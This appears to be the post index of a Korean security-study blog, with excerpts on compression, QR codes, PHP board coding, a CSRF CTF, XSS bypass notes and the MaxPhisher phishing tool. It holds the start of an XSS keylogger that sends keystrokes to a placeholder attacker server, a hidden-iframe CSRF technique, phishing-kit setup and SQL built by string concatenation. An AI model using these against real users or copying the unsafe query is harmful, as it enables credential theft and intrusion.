본문 바로가기

전체 글

(226)
간단한 파일 압축의 원리 * 압축의 종류 손실 압축 > 데이터 압축 과정에서 원본 데이터 손실 비손실 압축 > 압축 이후에도 원본 데이터 유지 그 중 비손실 압축의 종류 1 ) Run-Length Encoding (RLE) > 예를 들어, AAAABBBBCCCDEEEE란 데이터가 있다면 00000111111111100000011.. 처럼 0과 1로 변환될 것이다 이것을 0 5 1 10 0 6 1 2.. (처음 0이 개, 1이 10개...) 처럼 데이터 크기를 더 줄일 수 있다. 이것을 또 0과 1을 없애서 5 10 6 2로 줄일 수 있다. 무손실이기 때문에 원본으로 복구도 가능하다 2 ) 허프만 부호화 > 모든 글자 탐색 후 점수 부여 aaabbc라는 글자를 보면 a가 3개, b가 2개, c가 1개이다. 이때 가장 빈도수가 높은..
QR코드 원리 QR코드 : Quick Response의 약자로, 2차원 매트릭스 형태로 이루어진 정보 표시 방법이다. 일본의 덴소 웨이브라는 곳에서 처음 개발하여 공장에서 공정마다 빠른 전산 작업을 위해 도입했으나 현재는 특허권 없이 전세계로 보급되어 있다. 우리나라는 코로나 때 QR코드 인증으로 인해 익숙해졌었는데, 기존에 흔히 쓰던 바코드는 가로 배열에 최대 20 여자의 숫자 정보만을 넣을 수 있던 것 과는 달리 QR코드는 2차원적 구성으로 가로 세로를 활용하여 더 많은 문자나 숫자 정보를 저장할 수 있게 되었습니다. QR코드의 6대 구성 요소 경계 파인더 (위치 찾기 심볼) 얼라인먼트 타이밍 패턴 버전 정보 개별 단위 셀 QR코드는 버전에 따라 셀의 개수가 다양한데, 크기가 21X21인 버전1부터 시작해 버전이 ..
[8주차] 게시판 구현 #6 - 조회수 카운트 다음 코드를 추가해줍니다. UPDATE 같은 SQL 쿼리함수를 사용할 때 대문자를 사용해야 함수로 취급됩니다. //게시판 DB 연결 $con = mysqli_connect('localhost','root','비밀번호','database이름'); //게시판 내용 보여주기 ~~~이하 생략 //클릭할 때 조회수 1 증가 $hit = $board['hit']; $hit = $hit + 1; $hit_query = "UPDATE board SET hit = '".$hit."'WHERE number ='".$bno."'"; $hit_result = $con->query($hit_query); 저장하고 게시글을 클릭하니 조회수가 1 증가했다. 그런데 클릭했을 시에는 조회수가 증가한 게 안보이고 다시 목록으로 돌아가야..
CSRF CTF 문제풀이 #1 이번엔 CSRF CTF 1번 문제를 풀어보도록 하겠습니다 CSRF 공격을 이용해 admin 계정의 비밀번호를 바꾸게 해야합니다. CSRF 공격은 폭과 높이를 0으로 숨긴 iframe을 써서 action 속성으로 전달된 창이 뜨지 않게 할 수 있습니다. 코드를 보면 게시판만 읽어도 mypage_update.php에서 회원 정보를 수정한 효과를 얻을 수 있습니다. Javascript에서는 document.forms 객체로 form 태그에서 사용되는 양식들을 제어할 수 있습니다. 코드대로라면 document.forms[0].submit()은 코드의 처음 form 태그 안에 존재하는 submit 속성을 가진 input을 누르게 될 겁니다. document.forms 사용법 →document.forms[0] →d..
[8주차] 게시판 구현 #5 - 검색 기능 (제목/작성자/내용별) 이번에는 게시판 하단에 검색 기능을 추가해볼 겁니다. 아무래도 데이터가 많아질수록 일일히 페이징을 하면서 넘기는거보다 검색기능을 주로 사용하게 될 것 같습니다. BootStrap에 들어가니 괜찮은 입력-버튼 폼이 많이 보입니다. 처음 저 두번째 버튼을 갖다가 썼는데 css 기본설정값에 오른쪽 정렬이 포함되어있는건지 중앙 정렬이 하도 안되서 id와 class를 싹 빼고 기본 input으로 바꿨습니다. 정말 빼니까 정렬이 되었습니다. 코드는 이렇습니다. 검색 이제 검색 버튼을 클릭했을 때 form 태그를 이용해 원하는 검색 정보를 보여줄 수 있도록 type을 submit으로 바꾸고 form 태그로 감싸겠습니다. 그리고 처리 페이지에서 $_GET을 사용할수 있도록 name을 부여하겠습니다. 검색 그 후, se..
Virtualbox 다른 컴퓨터로 가상환경 옮기기 나는 집 데스크탑으로 Virtualbox를 다운받고 가상 환경을 셋팅해놨다. 근데, 출장을 가거나 멀리 있을 때 노트북에서 가상 환경 내부의 코딩을 진행할 수 없으니 어쩔 수 없이 다른공부를 하거나 다른 작업을 해야만 했는데, 이 가상환경을 ova 파일로 내보낼 수 있다는 것을 알았다. 내보내는 방법은 간단하다. 원하는 맨 위 탭에서 가상 시스템 내보내기를 클릭한다. 그럼 창이 하나 뜰텐데, 여기서 전문가 모드를 클릭한다. Format settings 를 항목에서 형식은 Open Virtualization Format 1.0 파일은 원하는 저장 경로를 선택하고 MAC 주소 정책은 모든 네트워크 어댑터 MAC 주소 포함으로 설정한다. 나머지는 건드릴 거 없이 Finish를 눌러주면 된다. 그럼 로딩이 되는..
[8주차] 해킹 스터디 정리 - XSS Bypass, 대응 방안, CSRF 공격 - XSS Bypass (우회 방법) > Anti XSS Bypass -> Black List 필터링 --> WAF의 기본 속성 (Web Application Firewall) ex ) 글자 제한이 있을 때 미리 짜놓은 스크립트를 준비해놓고 src로 주입가능 [3]대소문자 혼용 그런데 이건 어떻게 공격으로 연결시킬까? POST 방식을 GET방식으로 바꿔서 링크를 딴다. 그 후, 살포해서 공격 가능 keylogger 삽입 KeyLogger 코드 -- XSS Keylogger var keys = ""; var hackUrl = '공격서버 url' document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCo..
해킹 툴 - MaxPhisher 설치 및 사용법 저번에 들었던 MaxPhisher가 아주 매력적인 라이브러리 툴이라 생각되어 어떻게 사용하는지 한번 사용해보았다 MaxPhisher의 git에 들어가면 설치 방법과 사용법이 차례대로 소개되어있다. 처음에 냅다 git도 깔지 않고 git clone 코드를 입력했더니 안 되었다. 당연한걸.. sudo apt install git python3 php openssh-client -y 이때 -y 옵션은 yes로 설치 시 나타나는 모든 물음에 yes라고 답한다는 뜻이다. 설치과정 중 추가적인 디펜던시나 라이브러리 등의 설치 시 모두 yes를 답한다. 터미널에 코드를 입력하면 설치를 시작한다. Progress 바로 설치 진행률이 보인다. git clone https://github.com/KasRoudra/MaxP..